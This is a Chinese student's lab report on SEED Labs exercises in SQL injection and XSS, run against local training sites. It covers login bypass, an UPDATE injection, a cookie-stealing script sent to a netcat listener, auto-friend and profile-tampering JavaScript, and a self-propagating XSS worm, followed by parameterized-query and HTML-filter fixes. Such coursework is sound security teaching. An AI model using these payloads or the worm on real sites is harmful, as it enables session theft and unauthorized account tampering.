20252910 2025-2026-2《网络攻防实践》第10次作业
20252910 2025-2026-2《网络攻防实践》第10次作业
1、实验内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
2、实验过程
前期准备
虚拟机安装与部署
之前装过挺多了这里就不过多赘述了。

VMware Tools 安装
在以下这个位置的下拉框下勾选安装 VMware Tools ,然后将文件移到home目录下。


打开终端,输入下面的命令,回到这个 Home 目录:
cd ~
现在直接执行解压命令:
tar -zxvf VMwareTools-10.3.23-16594550.tar.gz
解压后输入命令:
cd vmware-tools-distrib
执行安装:
sudo ./vmware-install.pl
安装成功

如果自动适配没反应,我们可以直接用命令指定分辨率:
先查看当前支持的分辨率列表
xrandr
xrandr -s 1440x900

主机名配置
将虚拟机主机名永久设置为lct,确保终端和系统标识统一
切换到root用户(密码:seedubuntu)
su -
临时生效主机名
hostname lct
验证主机名(终端提示符应显示为 seed@lct:~$)
hostname
永久修改主机名配置文件
echo "lct" > /etc/hostname
sudo nano /etc/hosts
把127.0.1.1 lct写进去
退出root并重新打开终端验证
exit


基础服务启动
启动Apache2 Web服务器
sudo service apache2 start
查看服务状态,确认显示 active (running)
sudo service apache2 status

数据库连接
使用 root 用户登录 MySQL 数据库(默认密码 seedubuntu):
mysql -u root -pseedubuntu

任务一:SEED SQL 注入攻击与防御实验
熟悉 SQL 语句
使用以下命令使用 root 登录 MySQL 数据库:
mysql -u root -pseedubuntu
使用以下命令查看 MySQL 中已有的数据库:
show databases;

使用以下命令切换到 Users 数据库,并查看所有的数据表:
use Users;
show tables;

执行基础查询语句:
-- 查询所有记录
select * from credential;

-- 查询Alice的个人信息
select * from credential where Name='Alice';

-- 查询ID小于等于3的员工信息
select * from credential where ID <=3;

对 SELECT 语句的 SQL 注入攻击(登录绕过)
访问 Web 页面 http://www.seedlabsqlinjection.com/ ,右键 -> view page source 查看前端源码。


表单通过 GET 方法提交到 unsafe_home.php 进行验证。
查看并分析后端验证代码(/var/www/SQLInjection/unsafe_home.php):
vim /var/www/SQLInjection/unsafe_home.php

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
构造注入 Payload:在用户名输入框输入 Admin'#,密码留空。

原理:单引号 ' 闭合 name 字段的字符串,# 注释掉后续的密码验证部分,使 SQL 语句变为:
SELECT * FROM credential WHERE name= 'Admin'#' and Password=''
点击登录,成功进入管理员页面,查看所有员工的薪资、SSN 等敏感信息,登录绕过成功。
步骤3:对 UPDATE 语句的 SQL 注入攻击(数据篡改)
以 Alice 身份登录系统(密码 seedalice),点击 "Edit Profile" 进入个人信息修改页面,发现仅能修改昵称、邮箱、地址等非敏感信息。


查看并分析后端更新代码(/var/www/SQLInjection/unsafe_edit_backend.php):
vim /var/www/SQLInjection/unsafe_edit_backend.php

核心更新逻辑,SQL 语句如下:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
构造注入 Payload:在 NickName 输入框输入:
',Salary='999999' where name='Admin';#
原理:闭合 nickname 字段的字符串,添加 Salary='999999' where name='Admin' 子句修改管理员薪资,最后用 # 注释后续内容。

SQL 对抗(漏洞修复)
修复 SELECT 语句注入:编辑 unsafe_home.php,使用 prepare 和 bind_param 实现参数化查询:
gedit/var/www/SQLInjection/unsafe_home.php
将原 SQL 语句替换为:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();

验证修复效果:再次使用 Admin'# 尝试登录,系统提示登录失败;尝试修改管理员薪资,操作无效,漏洞修复成功。

修复 UPDATE 语句注入:编辑 unsafe_edit_backend.php,同理使用参数化查询:
gedit /var/www/SQLInjection/unsafe_edit_backend.php
将原 SQL 语句替换为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=?");
$sql->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$sql->execute();
任务二:SEED XSS 跨站脚本攻击实验
发布恶意消息,显示警报窗口
使用 Alice 账号(密码 seedalice)登录 Elgg 平台( http://www.xsslabelgg.com ),点击蓝色字体 Alice -> "Edit profile" 进入个人资料编辑页面。

在 "Brief description" 输入框中输入恶意代码:
<script>alert('XSS lct');</script>
点击保存,页面自动刷新并弹出警告窗口 "XSS lct",验证存储型 XSS 漏洞存在。

弹窗显示 Cookie 信息
修改 "Brief description" 中的代码为:
<script>alert('lct Cookie:' + document.cookie);</script>

窃取受害者的 Cookies
查看攻击者的ip地址
ifconfig
假设攻击者 IP 为 192.168.180.76。
构造窃取 Cookie 的恶意代码,将 Cookie 发送到攻击者监听的 5555 端口:
<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>

在攻击者终端开启端口监听:
sudo nc -l 5555 -v

使用 Boby(密码 seedboby)账号登录 Elgg,访问 Alice 的个人主页。
查看攻击者终端,成功接收到 Boby 的 Cookie 信息。

成为受害者的朋友(自动操作)
1.在alice账户中选择“more”-“Members”,按F12查看网络流信息,选择boby添加为朋友,发现编号信息。

- 请求地址:http://www.xsslabelgg.com/action/friends/add
- 请求方法:GET
- 必要参数:friend(好友 ID)、__elgg_ts(时间戳)、__elgg_token(CSRF 令牌)
删掉好友回到初始状态。根据上述信息构造payload,在alice账户的about me中填写,并保存。
以下代码是:只要别人访问你的个人主页,就会自动发送请求,把你加为他的好友(无需对方同意) 这是典型的 CSRF + XSS 组合攻击。
<script type="text/javascript">
// 页面加载完成后自动执行
window.onload = function () {
var Ajax=null; // 创建AJAX对象
// 从 elgg 安全机制中提取 防CSRF令牌(必须带,否则请求无效)
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// 构造加好友请求URL:
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44&from=lct" + ts + token;
Ajax = new XMLHttpRequest(); // 创建AJAX请求
Ajax.open("GET", sendurl, true); // 发送GET请求
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(); // 发送请求 = 自动加好友
}
</script>
用boby访问Alice主页,登录alice的主页,发现boby成为好友。

修改受害者的信息
编辑Alice主页,切换为HTML模式,输入以下代码,并保存退出
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
登录boby账号访问alice主页,再次查看boby主页发现被修改

编写 XSS 蠕虫
在alice账户的about me中填写,并保存。
这是一段XSS蠕虫病毒代码,不仅会偷偷篡改个人资料,还会把自身代码复制到个人简介里,实现自我复制、无限传播,访问者打开页面就会中招。
<script id="worm" type="text/javascript">window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>主机lct的XSS蠕虫已感染!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>

使用 Admin 账号(密码 seedelgg)访问 Boby 主页,Admin 也被感染,证明蠕虫可以在用户之间自动传播。

对抗 XSS 攻击
使用 Admin 账号登录 Elgg,点击右上角 "Account" -> "Administration" -> "Plugins"。

找到 "HTMLawed" 插件(按首字母排序),点击 "Activate" 启用该插件(该插件用于过滤和净化 HTML 输入)。
验证防御效果:再次访问被感染的用户主页,恶意代码以明文形式显示,不再执行;尝试注入新的 XSS 代码,系统自动过滤,攻击失效

3、实验中遇到的问题
第一个问题:就是一开始没有办法进行复制,网上搜了教程,下载了对应的VMware Tools。
第二个问题:在配置主机名的时候出现映射问题。网上搜了一下进行了修改。

第三个问题在编辑about me的,不是在edit html下导致没有效果。
第四个问题就是这个seedubuntu虽然装了VMware Tools但是分辨率还是有问题,所以用命令手动调整了分辨率。
4、学习感悟与思考
本次SEED实验完成SQL注入与XSS两大漏洞实操。在SQL注入实验中,借助单引号闭合、注释截断实现登录绕过与UPDATE篡改数据,知晓字符串拼接SQL是漏洞根源,参数化预处理是有效防御手段。Elgg的XSS实验由弹窗、窃取Cookie进阶至自动加好友、篡改用户信息,最终编写蠕虫实现批量传染,理解未过滤用户输入会造成恶意JS执行。经过攻防实操,我明白了所有外部输入均不可信,树立安全编码意识,掌握了预编译、输出转义、HttpOnly等防护方法,切实提升了漏洞排查与安全开发能力。

浙公网安备 33010602011771号